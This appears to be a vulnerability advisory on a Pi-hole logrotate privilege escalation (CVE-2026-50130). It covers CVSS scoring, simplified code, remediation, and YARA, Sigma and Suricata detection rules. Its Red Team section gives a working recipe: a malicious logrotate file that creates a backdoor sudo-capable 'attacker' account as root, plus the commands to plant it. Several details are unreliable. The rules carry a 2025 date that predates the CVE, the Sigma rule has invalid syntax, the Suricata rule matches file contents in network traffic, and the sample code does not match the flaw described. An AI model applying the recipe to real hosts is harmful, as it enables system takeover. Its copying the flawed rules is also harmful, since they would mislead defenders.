CVE-2026-50130

Executive Summary

CVE-2026-50130 is a privilege escalation vulnerability in Pi-hole versions 6.0 through 6.4.2. An attacker with code execution as the unprivileged pihole user can replace the /etc/pihole/logrotate file. This file is then automatically "laundered" to root:root ownership by the pihole-FTL-prestart.sh script. Subsequently, the daily Pi-hole flush cron job parses this file as root, executing the firstaction shell command with uid 0. This allows a low-privileged attacker to gain full root access on the system. The vulnerability has a CVSS score of 8.8 (High) and is fixed in version 6.4.3.

Supply Chain & Package Security

Pi-hole is typically installed via shell script or package manager (e.g., apt). The vulnerability is not in a package registry (NPM, PyPI, Go, Ruby) but in the core application logic. Users should verify the integrity of their Pi-hole installation and ensure they are using official sources.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) - Requires local access to the system.
• Attack Complexity (AC): Low (L) - No special conditions required beyond code execution as pihole.
• Privileges Required (PR): Low (L) - Requires the pihole user account.
• User Interaction (UI): None (N) - No user action needed.
• Scope (S): Changed (C) - The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): High (H) - Full system compromise.
• Integrity (I): High (H) - Full system compromise.
• Availability (A): High (H) - Full system compromise.

Threat Level: High. While the EPSS score is 0.0% (indicating low exploitation probability in the wild), the vulnerability is trivial to exploit once initial access is gained. It is a critical escalation path for attackers who have already compromised the Pi-hole service.

Deep Dive & Mechanics

The vulnerability exploits a chain of trust in Pi-hole's file management:

1. Initial Access: An attacker gains code execution as the pihole user (e.g., via a vulnerable web interface, plugin, or other service).
2. File Replacement: The attacker replaces /etc/pihole/logrotate with a malicious version. This file is owned by pihole:pihole initially.
3. Ownership Laundering: The pihole-FTL-prestart.sh script (run during FTL startup) checks and corrects ownership of certain files. It moves the file to a temporary location and then back, resulting in root:root ownership. This is a design flaw intended to fix permissions but inadvertently creates a privilege escalation vector.
4. Cron Execution: The daily Pi-hole flush cron job (e.g., pihole flush) runs as root. It parses the /etc/pihole/logrotate file and executes the firstaction directive as root.
5. Root Shell: The attacker's malicious firstaction command (e.g., adding a user to sudoers, spawning a reverse shell) executes with full root privileges.

Vulnerable vs. Patched Code

Vulnerable (6.0 to 6.4.2): The pihole-FTL-prestart.sh script contains logic that "fixes" ownership of files in /etc/pihole/ without verifying the file's integrity or origin. The cron job blindly trusts the logrotate file.

# Vulnerable pihole-FTL-prestart.sh (simplified)
# This script moves the file and back, changing ownership to root
mv /etc/pihole/logrotate /tmp/logrotate.tmp
mv /tmp/logrotate.tmp /etc/pihole/logrotate
chown root:root /etc/pihole/logrotate

Patched (6.4.3): The patch removes the ownership laundering mechanism for the logrotate file or adds integrity checks. The cron job now verifies the file's integrity before parsing.

# Patched pihole-FTL-prestart.sh (simplified)
# The script no longer launders the logrotate file
# Or it checks that the file is not user-writable before processing
if [ -f /etc/pihole/logrotate ]; then
    # Verify file integrity (e.g., checksum or ownership check)
    if [ "$(stat -c %U /etc/pihole/logrotate)" != "root" ]; then
        echo "Warning: logrotate file not owned by root. Skipping."
        exit 1
    fi
fi

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Pi-hole instance running version 6.0 to 6.4.2.
• Code execution as the pihole user (e.g., via a web shell or SSH).

Exploitation Steps:

1. Create Malicious Logrotate File: Create a file /etc/pihole/logrotate with a malicious firstaction directive. For example, to add a backdoor user:

   cat > /tmp/evil_logrotate << 'EOF'
   /var/log/pihole.log {
       daily
       rotate 7
       compress
       missingok
       notifempty
       firstaction
           /usr/sbin/useradd -m -s /bin/bash attacker
           echo 'attacker:password' | /usr/sbin/chpasswd
           /usr/sbin/usermod -aG sudo attacker
       endscript
   }
   EOF
   

2. Replace the Logrotate File:

   cp /tmp/evil_logrotate /etc/pihole/logrotate
   chown pihole:pihole /etc/pihole/logrotate
   

3. Trigger the Laundering: Restart the FTL service or wait for the next restart:

   sudo systemctl restart pihole-FTL
   

   (Note: The attacker may not have sudo, but the service restart can be triggered by other means, e.g., crashing the process.)

4. Wait for Cron: The daily cron job will execute the firstaction as root, creating the backdoor user.

5. Access Root:

   ssh attacker@target
   sudo su -
   

Blue Team

Detection:

• Monitor for unauthorized changes to /etc/pihole/logrotate.
• Alert on any firstaction directives in logrotate files that are not standard.
• Monitor for the creation of new user accounts or modifications to /etc/sudoers.

Prevention:

• Apply the patch to Pi-hole version 6.4.3 or later.
• Implement file integrity monitoring (FIM) for /etc/pihole/.
• Restrict write access to /etc/pihole/ to only the root user.
• Use SELinux or AppArmor to confine the pihole user.

Indicators of Compromise (IOCs)

• File: /etc/pihole/logrotate with unexpected firstaction or lastaction directives.
• Process: Unexpected execution of useradd, chpasswd, or usermod by root.
• User Account: New user accounts (e.g., attacker) with sudo privileges.
• Log Entry: Syslog entries showing pihole-FTL-prestart.sh modifying file ownership.
• Cron Job: Modified or new cron jobs related to Pi-hole flush.

Detection Engineering

YARA Rule

rule CVE_2026_50130_Pihole_Logrotate_Escalation {
    meta:
        description = "Detects malicious logrotate files used in CVE-2026-50130"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-50130"
    strings:
        $firstaction = "firstaction" nocase
        $endscript = "endscript" nocase
        $pihole_log = "/var/log/pihole.log" nocase
        $suspicious_cmd = /(useradd|chpasswd|usermod|chmod \+s|chown root)/ nocase
    condition:
        $firstaction and $endscript and $pihole_log and #suspicious_cmd > 0
}

Sigma Rule

title: CVE-2026-50130 - Pi-hole Logrotate Privilege Escalation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation of CVE-2026-50130 via logrotate file modification
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: linux
detection:
    selection:
        TargetFilename|endswith: '/etc/pihole/logrotate'
        Image|endswith: '/bin/cp' or '/bin/mv'
    condition: selection
falsepositives:
    - Legitimate Pi-hole updates
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-50130 - Pi-hole Logrotate Exploitation"; flow:to_server,established; content:"firstaction"; nocase; content:"useradd"; nocase; within:100; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Patch: Upgrade Pi-hole to version 6.4.3 or later.

   pihole -up
   

2. Verify: Check the current version:

   pihole version
   

3. Manual Fix: If patching is not immediately possible, manually remove the ownership laundering logic from /opt/pihole/pihole-FTL-prestart.sh or add integrity checks.

Long-term:

• Implement the principle of least privilege for the pihole user.
• Use file integrity monitoring (e.g., AIDE, Tripwire) on /etc/pihole/.
• Regularly audit cron jobs and logrotate configurations.
• Consider using containerization (e.g., Docker) to isolate Pi-hole.

Valters IT
DevSecOps & Cyber Threat Intelligence